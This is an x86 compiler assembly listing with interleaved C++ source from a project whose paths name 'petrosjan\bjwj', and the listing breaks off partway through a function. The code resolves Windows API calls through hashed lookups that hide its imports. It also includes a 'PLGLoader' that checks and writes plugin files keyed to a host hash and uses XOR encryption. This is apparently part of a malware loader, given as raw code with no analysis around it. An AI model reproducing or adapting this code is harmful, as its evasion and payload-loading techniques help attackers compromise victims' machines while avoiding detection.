; 134  : 	return func(a1, a2, a3, a4, a5);
  00016	ff 75 18	 push	 DWORD PTR _a5$[ebp]
  00019	ff 75 14	 push	 DWORD PTR _a4$[ebp]
  0001c	ff 75 10	 push	 DWORD PTR _a3$[ebp]
  0001f	ff 75 0c	 push	 DWORD PTR _a2$[ebp]
  00022	ff 75 08	 push	 DWORD PTR _a1$[ebp]
  00025	ff d0		 call	 eax
; 135  : }
  00027	5d		 pop	 ebp
  00028	c3		 ret	 0
??$pushargEx@$00$0PDPNBMD@$0BG@PAXPADKPAKH@@YAPAXPAXPADKPAKH@Z ENDP ; pushargEx<1,255840707,22,void *,char *,unsigned long,unsigned long *,int>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0IPIPBBE@$0BE@PADJHHHHH@@YAPAXPADJHHHHH@Z ; pushargEx<1,150532372,20,char *,long,int,int,int,int,int>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0IPIPBBE@$0BE@PADJHHHHH@@YAPAXPADJHHHHH@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
_a4$ = 20						; size = 4
_a5$ = 24						; size = 4
_a6$ = 28						; size = 4
_a7$ = 32						; size = 4
??$pushargEx@$00$0IPIPBBE@$0BE@PADJHHHHH@@YAPAXPADJHHHHH@Z PROC ; pushargEx<1,150532372,20,char *,long,int,int,int,int,int>, COMDAT
; 147  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
; 148  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C, D, E, F, G);
; 149  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00003	6a 14		 push	 20			; 00000014H
  00005	68 14 f1 f8 08	 push	 150532372		; 08f8f114H
  0000a	6a 01		 push	 1
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 150  : 	return func(a1, a2, a3, a4, a5, a6, a7);
  00016	ff 75 20	 push	 DWORD PTR _a7$[ebp]
  00019	ff 75 1c	 push	 DWORD PTR _a6$[ebp]
  0001c	ff 75 18	 push	 DWORD PTR _a5$[ebp]
  0001f	ff 75 14	 push	 DWORD PTR _a4$[ebp]
  00022	ff 75 10	 push	 DWORD PTR _a3$[ebp]
  00025	ff 75 0c	 push	 DWORD PTR _a2$[ebp]
  00028	ff 75 08	 push	 DWORD PTR _a1$[ebp]
  0002b	ff d0		 call	 eax
; 151  : }
  0002d	5d		 pop	 ebp
  0002e	c3		 ret	 0
??$pushargEx@$00$0IPIPBBE@$0BE@PADJHHHHH@@YAPAXPADJHHHHH@Z ENDP ; pushargEx<1,150532372,20,char *,long,int,int,int,int,int>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBD@PLGDEBUGTEMPLATES@@YAXPBD0@Z ; PLGDEBUGTEMPLATES::DBGOutMessage<char const *,char const *>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
;	COMDAT ??$DBGOutMessage@PBDPBD@PLGDEBUGTEMPLATES@@YAXPBD0@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
??$DBGOutMessage@PBDPBD@PLGDEBUGTEMPLATES@@YAXPBD0@Z PROC ; PLGDEBUGTEMPLATES::DBGOutMessage<char const *,char const *>, COMDAT
; 66   : 	#ifdef DebugUtils
; 67   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str);
; 68   : 	#endif
; 69   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBD@PLGDEBUGTEMPLATES@@YAXPBD0@Z ENDP ; PLGDEBUGTEMPLATES::DBGOutMessage<char const *,char const *>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDPAD@PLGDEBUGTEMPLATES@@YAXPBD0PAD@Z ; PLGDEBUGTEMPLATES::DBGOutMessage<char const *,char const *,char *>
; Function compile flags: /Ogspy
;	COMDAT ??$DBGOutMessage@PBDPBDPAD@PLGDEBUGTEMPLATES@@YAXPBD0PAD@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
??$DBGOutMessage@PBDPBDPAD@PLGDEBUGTEMPLATES@@YAXPBD0PAD@Z PROC ; PLGDEBUGTEMPLATES::DBGOutMessage<char const *,char const *,char *>, COMDAT
; 74   : 	#ifdef DebugUtils
; 75   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1);
; 76   : 	#endif
; 77   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDPAD@PLGDEBUGTEMPLATES@@YAXPBD0PAD@Z ENDP ; PLGDEBUGTEMPLATES::DBGOutMessage<char const *,char const *,char *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z	; pushargEx<1,1033466613,47,int>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z PROC	; pushargEx<1,1033466613,47,int>, COMDAT
; 100  : 	typedef LPVOID (WINAPI *newfunc)(A);
; 101  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 2f		 push	 47			; 0000002fH
  00002	68 f5 72 99 3d	 push	 1033466613		; 3d9972f5H
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 102  : 	return func(a1);
  00013	ff 74 24 04	 push	 DWORD PTR _a1$[esp-4]
  00017	ff d0		 call	 eax
; 103  : }
  00019	c3		 ret	 0
??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z ENDP	; pushargEx<1,1033466613,47,int>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0IBPAPANP@$0CD@PAD@@YAPAXPAD@Z	; pushargEx<1,2180051167,35,char *>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0IBPAPANP@$0CD@PAD@@YAPAXPAD@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$00$0IBPAPANP@$0CD@PAD@@YAPAXPAD@Z PROC	; pushargEx<1,2180051167,35,char *>, COMDAT
; 100  : 	typedef LPVOID (WINAPI *newfunc)(A);
; 101  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 23		 push	 35			; 00000023H
  00002	68 df f0 f0 81	 push	 -2114916129		; 81f0f0dfH
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 102  : 	return func(a1);
  00013	ff 74 24 04	 push	 DWORD PTR _a1$[esp-4]
  00017	ff d0		 call	 eax
; 103  : }
  00019	c3		 ret	 0
??$pushargEx@$00$0IBPAPANP@$0CD@PAD@@YAPAXPAD@Z ENDP	; pushargEx<1,2180051167,35,char *>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDPADPBD@PLGDEBUGTEMPLATES@@YAXPBD0PAD0@Z ; PLGDEBUGTEMPLATES::DBGOutMessage<char const *,char const *,char *,char const *>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
;	COMDAT ??$DBGOutMessage@PBDPBDPADPBD@PLGDEBUGTEMPLATES@@YAXPBD0PAD0@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
_Arg2$ = 20						; size = 4
??$DBGOutMessage@PBDPBDPADPBD@PLGDEBUGTEMPLATES@@YAXPBD0PAD0@Z PROC ; PLGDEBUGTEMPLATES::DBGOutMessage<char const *,char const *,char *,char const *>, COMDAT
; 82   : 	#ifdef DebugUtils
; 83   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2);
; 84   : 	#endif
; 85   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDPADPBD@PLGDEBUGTEMPLATES@@YAXPBD0PAD0@Z ENDP ; PLGDEBUGTEMPLATES::DBGOutMessage<char const *,char const *,char *,char const *>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDPADPAD_N@PLGDEBUGTEMPLATES@@YAXPBD0PAD1_N@Z ; PLGDEBUGTEMPLATES::DBGOutMessage<char const *,char const *,char *,char *,bool>
; Function compile flags: /Ogspy
;	COMDAT ??$DBGOutMessage@PBDPBDPADPAD_N@PLGDEBUGTEMPLATES@@YAXPBD0PAD1_N@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
_Arg2$ = 20						; size = 4
_Arg3$ = 24						; size = 1
??$DBGOutMessage@PBDPBDPADPAD_N@PLGDEBUGTEMPLATES@@YAXPBD0PAD1_N@Z PROC ; PLGDEBUGTEMPLATES::DBGOutMessage<char const *,char const *,char *,char *,bool>, COMDAT
; 90   : 	#ifdef DebugUtils
; 91   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2, Arg3);
; 92   : 	#endif
; 93   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDPADPAD_N@PLGDEBUGTEMPLATES@@YAXPBD0PAD1_N@Z ENDP ; PLGDEBUGTEMPLATES::DBGOutMessage<char const *,char const *,char *,char *,bool>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDKK@PLGDEBUGTEMPLATES@@YAXPBD0KK@Z ; PLGDEBUGTEMPLATES::DBGOutMessage<char const *,char const *,unsigned long,unsigned long>
; Function compile flags: /Ogspy
;	COMDAT ??$DBGOutMessage@PBDPBDKK@PLGDEBUGTEMPLATES@@YAXPBD0KK@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
_Arg2$ = 20						; size = 4
??$DBGOutMessage@PBDPBDKK@PLGDEBUGTEMPLATES@@YAXPBD0KK@Z PROC ; PLGDEBUGTEMPLATES::DBGOutMessage<char const *,char const *,unsigned long,unsigned long>, COMDAT
; 82   : 	#ifdef DebugUtils
; 83   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2);
; 84   : 	#endif
; 85   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDKK@PLGDEBUGTEMPLATES@@YAXPBD0KK@Z ENDP ; PLGDEBUGTEMPLATES::DBGOutMessage<char const *,char const *,unsigned long,unsigned long>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0DNJJHCPF@$0CP@K@@YAPAXK@Z	; pushargEx<1,1033466613,47,unsigned long>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$00$0DNJJHCPF@$0CP@K@@YAPAXK@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$00$0DNJJHCPF@$0CP@K@@YAPAXK@Z PROC	; pushargEx<1,1033466613,47,unsigned long>, COMDAT
; 100  : 	typedef LPVOID (WINAPI *newfunc)(A);
; 101  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 2f		 push	 47			; 0000002fH
  00002	68 f5 72 99 3d	 push	 1033466613		; 3d9972f5H
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 102  : 	return func(a1);
  00013	ff 74 24 04	 push	 DWORD PTR _a1$[esp-4]
  00017	ff d0		 call	 eax
; 103  : }
  00019	c3		 ret	 0
??$pushargEx@$00$0DNJJHCPF@$0CP@K@@YAPAXK@Z ENDP	; pushargEx<1,1033466613,47,unsigned long>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDPADPAD@PLGDEBUGTEMPLATES@@YAXPBD0PAD1@Z ; PLGDEBUGTEMPLATES::DBGOutMessage<char const *,char const *,char *,char *>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
;	COMDAT ??$DBGOutMessage@PBDPBDPADPAD@PLGDEBUGTEMPLATES@@YAXPBD0PAD1@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
_Arg2$ = 20						; size = 4
??$DBGOutMessage@PBDPBDPADPAD@PLGDEBUGTEMPLATES@@YAXPBD0PAD1@Z PROC ; PLGDEBUGTEMPLATES::DBGOutMessage<char const *,char const *,char *,char *>, COMDAT
; 82   : 	#ifdef DebugUtils
; 83   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2);
; 84   : 	#endif
; 85   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDPADPAD@PLGDEBUGTEMPLATES@@YAXPBD0PAD1@Z ENDP ; PLGDEBUGTEMPLATES::DBGOutMessage<char const *,char const *,char *,char *>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBD_N@PLGDEBUGTEMPLATES@@YAXPBD0_N@Z ; PLGDEBUGTEMPLATES::DBGOutMessage<char const *,char const *,bool>
; Function compile flags: /Ogspy
;	COMDAT ??$DBGOutMessage@PBDPBD_N@PLGDEBUGTEMPLATES@@YAXPBD0_N@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 1
??$DBGOutMessage@PBDPBD_N@PLGDEBUGTEMPLATES@@YAXPBD0_N@Z PROC ; PLGDEBUGTEMPLATES::DBGOutMessage<char const *,char const *,bool>, COMDAT
; 74   : 	#ifdef DebugUtils
; 75   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1);
; 76   : 	#endif
; 77   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBD_N@PLGDEBUGTEMPLATES@@YAXPBD0_N@Z ENDP ; PLGDEBUGTEMPLATES::DBGOutMessage<char const *,char const *,bool>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDK@PLGDEBUGTEMPLATES@@YAXPBD0K@Z ; PLGDEBUGTEMPLATES::DBGOutMessage<char const *,char const *,unsigned long>
; Function compile flags: /Ogspy
;	COMDAT ??$DBGOutMessage@PBDPBDK@PLGDEBUGTEMPLATES@@YAXPBD0K@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
??$DBGOutMessage@PBDPBDK@PLGDEBUGTEMPLATES@@YAXPBD0K@Z PROC ; PLGDEBUGTEMPLATES::DBGOutMessage<char const *,char const *,unsigned long>, COMDAT
; 74   : 	#ifdef DebugUtils
; 75   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1);
; 76   : 	#endif
; 77   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDK@PLGDEBUGTEMPLATES@@YAXPBD0K@Z ENDP ; PLGDEBUGTEMPLATES::DBGOutMessage<char const *,char const *,unsigned long>
_TEXT	ENDS
PUBLIC	??$GetRec@D@STRBUF@@YAAAUTStrRec@0@PAD@Z	; STRBUF::GetRec<char>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
;	COMDAT ??$GetRec@D@STRBUF@@YAAAUTStrRec@0@PAD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
??$GetRec@D@STRBUF@@YAAAUTStrRec@0@PAD@Z PROC		; STRBUF::GetRec<char>, COMDAT
; 442  : 	// 
; 443  : 	TStrRec* R = (TStrRec*)Str;
; 444  :     return R[-1];
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _Str$[esp-4]
  00004	83 c0 f4	 add	 eax, -12		; fffffff4H
; 445  : }
  00007	c3		 ret	 0
??$GetRec@D@STRBUF@@YAAAUTStrRec@0@PAD@Z ENDP		; STRBUF::GetRec<char>
_TEXT	ENDS
PUBLIC	??$Alloc@D@STRBUF@@YAPADK@Z			; STRBUF::Alloc<char>
EXTRN	?Alloc@HEAP@@YAPAXK@Z:PROC			; HEAP::Alloc
; Function compile flags: /Ogspy
;	COMDAT ??$Alloc@D@STRBUF@@YAPADK@Z
_TEXT	SEGMENT
_Size$ = 8						; size = 4
??$Alloc@D@STRBUF@@YAPADK@Z PROC			; STRBUF::Alloc<char>, COMDAT
; 379  : 	// 
 Size 
; 380  : 	// 
; 381  : 	if (Size == 0) return NULL;
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _Size$[esp-4]
  00004	85 c0		 test	 eax, eax
  00006	75 01		 jne	 SHORT $LN2@Alloc
; 396  : 	return (TChar*)Buf;
; 397  : }
  00008	c3		 ret	 0
$LN2@Alloc:
; 382  : 
; 383  : 	#ifdef USE_BLOCKS_STRINGS
; 384  :         Size = ((Size / STRING_BLOCK_SIZE) + 1) * STRING_BLOCK_SIZE;
  00009	c1 e8 05	 shr	 eax, 5
  0000c	40		 inc	 eax
  0000d	c1 e0 05	 shl	 eax, 5
  00010	56		 push	 esi
  00011	8b f0		 mov	 esi, eax
; 385  : 	#endif
; 386  : 
; 387  : 	DWORD BufSize = (Size + 1) * sizeof(TChar) + sizeof(TStrRec);
  00013	8d 46 0d	 lea	 eax, DWORD PTR [esi+13]
; 388  : 	TStrRec* Buf = (TStrRec*)HEAP::Alloc(BufSize);
  00016	50		 push	 eax
  00017	e8 00 00 00 00	 call	 ?Alloc@HEAP@@YAPAXK@Z	; HEAP::Alloc
  0001c	59		 pop	 ecx
; 389  : 	if (Buf == NULL) return NULL;
  0001d	85 c0		 test	 eax, eax
  0001f	75 02		 jne	 SHORT $LN1@Alloc
  00021	5e		 pop	 esi
; 396  : 	return (TChar*)Buf;
; 397  : }
  00022	c3		 ret	 0
$LN1@Alloc:
; 390  : 
; 391  : 	Buf->Size     = Size;
; 392  : 	Buf->Length   = 0;
  00023	83 60 04 00	 and	 DWORD PTR [eax+4], 0
  00027	89 30		 mov	 DWORD PTR [eax], esi
; 393  : 	Buf->RefCount = 1;
  00029	c7 40 08 01 00
	00 00		 mov	 DWORD PTR [eax+8], 1
; 394  : 
; 395  : 	Buf++;
  00030	83 c0 0c	 add	 eax, 12			; 0000000cH
  00033	5e		 pop	 esi
; 396  : 	return (TChar*)Buf;
; 397  : }
  00034	c3		 ret	 0
??$Alloc@D@STRBUF@@YAPADK@Z ENDP			; STRBUF::Alloc<char>
_TEXT	ENDS
PUBLIC	?CompareEx@?$STRUTILS@D@@SAHPBD0K@Z		; STRUTILS<char>::CompareEx
; Function compile flags: /Ogspy
;	COMDAT ?CompareEx@?$STRUTILS@D@@SAHPBD0K@Z
_TEXT	SEGMENT
_Str1$ = 8						; size = 4
_Str2$ = 12						; size = 4
_CmpLen$ = 16						; size = 4
?CompareEx@?$STRUTILS@D@@SAHPBD0K@Z PROC		; STRUTILS<char>::CompareEx, COMDAT
; 73   : 	// 
; 74   : 
; 75   : 	if (Str1 == NULL || Str2 == NULL)
  00000	8b 54 24 04	 mov	 edx, DWORD PTR _Str1$[esp-4]
  00004	85 d2		 test	 edx, edx
  00006	74 08		 je	 SHORT $LN11@CompareEx
  00008	8b 4c 24 08	 mov	 ecx, DWORD PTR _Str2$[esp-4]
  0000c	85 c9		 test	 ecx, ecx
  0000e	75 0a		 jne	 SHORT $LN20@CompareEx
$LN11@CompareEx:
; 76   : 		return -1;
  00010	83 c8 ff	 or	 eax, -1
; 111  :     }
; 112  : }
  00013	c3		 ret	 0
$LL10@CompareEx:
; 101  : 				R = 1;
; 102  : 			else
; 103  : 				R = -1;
; 104  : 			return R;
; 105  : 		}
; 106  : 
; 107  : 		if (*S2 == 0) return 0;
  00014	84 c0		 test	 al, al
  00016	74 28		 je	 SHORT $LN17@CompareEx
; 108  : 
; 109  : 		S1++;
  00018	42		 inc	 edx
; 110  : 		S2++;
  00019	41		 inc	 ecx
$LN20@CompareEx:
  0001a	8a 01		 mov	 al, BYTE PTR [ecx]
  0001c	38 02		 cmp	 BYTE PTR [edx], al
  0001e	74 f4		 je	 SHORT $LL10@CompareEx
; 77   : 
; 78   : 	const TChar* S1 = Str1;
; 79   : 	const TChar* S2 = Str2;
; 80   :     DWORD Pos = 0;
; 81   : 	while(1)
; 82   : 	{
; 83   : 		Pos++;
; 84   : 
; 85   : 
; 86   : 
; 87   : 		if (*S1 != *S2)
; 88   : 		{
; 89   : 			int R;
; 90   : 			if (CmpLen)
  00020	83 7c 24 0c 00	 cmp	 DWORD PTR _CmpLen$[esp-4], 0
  00025	74 09		 je	 SHORT $LN7@CompareEx
; 91   : 			{
; 92   : 				// 
; 93   : 				// 0 
; 94   : 				if (*S2 == 0)
  00027	33 c0		 xor	 eax, eax
  00029	38 01		 cmp	 BYTE PTR [ecx], al
  0002b	0f 94 c0	 sete	 al
  0002e	48		 dec	 eax
; 111  :     }
; 112  : }
  0002f	c3		 ret	 0
$LN7@CompareEx:
; 95   : 					R = 0;
; 96   : 				else
; 97   : 					R = -1;
; 98   : 			}
; 99   : 			else
; 100  : 			if (*S1 > *S2)
  00030	8a 02		 mov	 al, BYTE PTR [edx]
  00032	33 d2		 xor	 edx, edx
  00034	3a 01		 cmp	 al, BYTE PTR [ecx]
  00036	0f 9f c2	 setg	 dl
  00039	8d 54 12 ff	 lea	 edx, DWORD PTR [edx+edx-1]
  0003d	8b c2		 mov	 eax, edx
; 111  :     }
; 112  : }
  0003f	c3		 ret	 0
$LN17@CompareEx:
; 101  : 				R = 1;
; 102  : 			else
; 103  : 				R = -1;
; 104  : 			return R;
; 105  : 		}
; 106  : 
; 107  : 		if (*S2 == 0) return 0;
  00040	33 c0		 xor	 eax, eax
; 111  :     }
; 112  : }
  00042	c3		 ret	 0
?CompareEx@?$STRUTILS@D@@SAHPBD0K@Z ENDP		; STRUTILS<char>::CompareEx
_TEXT	ENDS
PUBLIC	?pGetLastError@@YAKXZ				; pGetLastError
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ?pGetLastError@@YAKXZ
_TEXT	SEGMENT
?pGetLastError@@YAKXZ PROC				; pGetLastError, COMDAT
; 872  : DWORD inline pGetLastError() { return (DWORD)_pGetLastError(); }
  00000	e9 00 00 00 00	 jmp	 ??$pushargEx@$00$0BCJHIBCM@$0ME@@@YAPAXXZ ; pushargEx<1,311918892,196>
?pGetLastError@@YAKXZ ENDP				; pGetLastError
_TEXT	ENDS
PUBLIC	?NeedUpdateFile@PLGLoader@@YA_NPAD0@Z		; PLGLoader::NeedUpdateFile
EXTRN	?GetHash@STR@@YAKPADK_N@Z:PROC			; STR::GetHash
EXTRN	?m_memset@@YAXPBXEI@Z:PROC			; m_memset
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\plugins.cpp
;	COMDAT ?NeedUpdateFile@PLGLoader@@YA_NPAD0@Z
_TEXT	SEGMENT
_H$ = -28						; size = 20
_Readed$ = -8						; size = 4
tv172 = -1						; size = 1
_FileName$ = 8						; size = 4
_Host$ = 12						; size = 4
?NeedUpdateFile@PLGLoader@@YA_NPAD0@Z PROC		; PLGLoader::NeedUpdateFile, COMDAT
; 69   : 	{
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 1c	 sub	 esp, 28			; 0000001cH
  00006	53		 push	 ebx
  00007	56		 push	 esi
; 70   : 		// 
; 71   : 		// 
; 72   : 
; 73   : 		// 
; 74   : 		HANDLE File = pCreateFileA(FileName, GENERIC_READ, FILE_SHARE_READ, 0,
; 75   : 							OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  00008	6a 14		 push	 20			; 00000014H
  0000a	68 14 f1 f8 08	 push	 150532372		; 08f8f114H
  0000f	6a 01		 push	 1
  00011	33 f6		 xor	 esi, esi
  00013	56		 push	 esi
  00014	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00019	83 c4 10	 add	 esp, 16			; 00000010H
  0001c	56		 push	 esi
  0001d	68 80 00 00 00	 push	 128			; 00000080H
  00022	6a 03		 push	 3
  00024	56		 push	 esi
  00025	6a 01		 push	 1
  00027	68 00 00 00 80	 push	 -2147483648		; 80000000H
  0002c	ff 75 08	 push	 DWORD PTR _FileName$[ebp]
  0002f	ff d0		 call	 eax
  00031	8b d8		 mov	 ebx, eax
; 76   : 
; 77   : 		if (File == INVALID_HANDLE_VALUE)
  00033	83 fb ff	 cmp	 ebx, -1
  00036	75 10		 jne	 SHORT $LN2@NeedUpdate
; 78   : 		{
; 79   : 			//  
; 80   : 			return (DWORD)pGetLastError() == ERROR_FILE_NOT_FOUND;
  00038	e8 00 00 00 00	 call	 ??$pushargEx@$00$0BCJHIBCM@$0ME@@@YAPAXXZ ; pushargEx<1,311918892,196>
  0003d	48		 dec	 eax
  0003e	48		 dec	 eax
  0003f	f7 d8		 neg	 eax
  00041	1b c0		 sbb	 eax, eax
  00043	40		 inc	 eax
$LN3@NeedUpdate:
  00044	5e		 pop	 esi
  00045	5b		 pop	 ebx
; 99   : 
; 100  : 		pCloseHandle(File);
; 101  : 		return Result;
; 102  : 
; 103  :     }
  00046	c9		 leave
  00047	c3		 ret	 0
$LN2@NeedUpdate:
; 81   : 		}
; 82   : 
; 83   : 		// 
; 84   : 		TFileHeader H;
; 85   : 		ClearStruct(H);
  00048	6a 14		 push	 20			; 00000014H
  0004a	8d 45 e4	 lea	 eax, DWORD PTR _H$[ebp]
  0004d	56		 push	 esi
  0004e	50		 push	 eax
  0004f	e8 00 00 00 00	 call	 ?m_memset@@YAXPBXEI@Z	; m_memset
; 86   : 
; 87   : 		DWORD Readed;
; 88   : 		pReadFile(File, &H, sizeof(H), &Readed, NULL);
  00054	56		 push	 esi
  00055	8d 45 f8	 lea	 eax, DWORD PTR _Readed$[ebp]
  00058	50		 push	 eax
  00059	6a 14		 push	 20			; 00000014H
  0005b	8d 45 e4	 lea	 eax, DWORD PTR _H$[ebp]
  0005e	50		 push	 eax
  0005f	53		 push	 ebx
  00060	e8 00 00 00 00	 call	 ??$pushargEx@$00$0EIHPOBGL@$0BK@PAXPAUTFileHeader@PLGLoader@@IPAKH@@YAPAXPAXPAUTFileHeader@PLGLoader@@IPAKH@Z ; pushargEx<1,1216340331,26,void *,PLGLoader::TFileHeader *,unsigned int,unsigned long *,int>
  00065	83 c4 20	 add	 esp, 32			; 00000020H
; 89   : 		if (Readed != sizeof(H))
  00068	83 7d f8 14	 cmp	 DWORD PTR _Readed$[ebp], 20 ; 00000014H
  0006c	74 10		 je	 SHORT $LN1@NeedUpdate
  0006e	c6 45 ff 01	 mov	 BYTE PTR tv172[ebp], 1
$LN9@NeedUpdate:
; 90   : 		{
; 91   : 			// 
; 92   : 			pCloseHandle(File);
  00072	53		 push	 ebx
  00073	e8 00 00 00 00	 call	 ??$pushargEx@$00$0HCDOLANF@$0BB@PAX@@YAPAXPAX@Z ; pushargEx<1,1916711125,17,void *>
; 93   :             return true;
  00078	8a 45 ff	 mov	 al, BYTE PTR tv172[ebp]
  0007b	59		 pop	 ecx
  0007c	eb c6		 jmp	 SHORT $LN3@NeedUpdate
$LN1@NeedUpdate:
; 94   : 		}
; 95   : 
; 96   : 
; 97   : 		// 
; 98   : 		bool Result = H.HostHash != CalcHash(Host);
  0007e	56		 push	 esi
  0007f	56		 push	 esi
  00080	ff 75 0c	 push	 DWORD PTR _Host$[ebp]
  00083	e8 00 00 00 00	 call	 ?GetHash@STR@@YAKPADK_N@Z ; STR::GetHash
  00088	83 c4 0c	 add	 esp, 12			; 0000000cH
  0008b	39 45 f0	 cmp	 DWORD PTR _H$[ebp+12], eax
  0008e	0f 95 45 ff	 setne	 BYTE PTR tv172[ebp]
  00092	eb de		 jmp	 SHORT $LN9@NeedUpdate
?NeedUpdateFile@PLGLoader@@YA_NPAD0@Z ENDP		; PLGLoader::NeedUpdateFile
_TEXT	ENDS
PUBLIC	?DoWriteBufferToFile@PLGLoader@@YAXPAXPAD1@Z	; PLGLoader::DoWriteBufferToFile
EXTRN	?Crypt@XORCrypt@@YAKPADPAEK@Z:PROC		; XORCrypt::Crypt
EXTRN	?Length@STR@@YAKPAD@Z:PROC			; STR::Length
; Function compile flags: /Ogspy
;	COMDAT ?DoWriteBufferToFile@PLGLoader@@YAXPAXPAD1@Z
_TEXT	SEGMENT
_H$ = -24						; size = 20
_Writed$ = -4						; size = 4
_File$ = 8						; size = 4
_Buf$ = 12						; size = 4
_Host$ = 16						; size = 4
?DoWriteBufferToFile@PLGLoader@@YAXPAXPAD1@Z PROC	; PLGLoader::DoWriteBufferToFile, COMDAT
; 107  : 	{
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 18	 sub	 esp, 24			; 00000018H
  00006	56		 push	 esi
; 108  : 		// 
; 109  : 
; 110  : 		DWORD Writed;
